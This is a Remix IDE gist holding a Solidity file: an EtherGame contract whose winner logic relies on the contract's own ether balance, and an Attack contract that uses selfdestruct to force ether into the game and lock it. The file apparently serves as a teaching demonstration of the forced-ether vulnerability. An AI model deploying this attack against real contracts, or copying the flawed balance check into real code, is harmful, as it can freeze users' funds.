Created using remix-ide: Realtime Ethereum Contract Compiler and Runtime. Load this file by pasting this gists URL or ID at https://remix.ethereum.org/#version=soljson-v0.8.17+commit.8df45f5f.js&optimize=false&runs=200&gist=

contracts...EtherGame.sol

//SPDX-License-Identifier: MIT

pragma solidity >=0.8.2 < 0.9.0;

contract EtherGame{
    uint public targetAmount;
    address public winner;

    constructor(){
        targetAmount =  7 ether;
    }
    function deposit() public payable{
        require(msg.value == 1 ether,"You can only send 1 Ether");

        uint balance = address(this).balance;
        require(balance<=targetAmount,"Game is over");

        if(balance == targetAmount){
            winner = msg.sender;
        }
    }

    function claimReward() public{
        require(msg.sender==winner,"Not Winner");

        (bool sent,) = msg.sender.call{
            value: address(this).balance
        }("");
        require(sent,"Failed to sent Ether");
    }

}

contract Attack{
    EtherGame etherGame;

    constructor(EtherGame _etherGame){
        etherGame = EtherGame(_etherGame);
    }

    function attack() public payable{
        address payable addr = payable(address(etherGame));
        selfdestruct(addr);
    }
}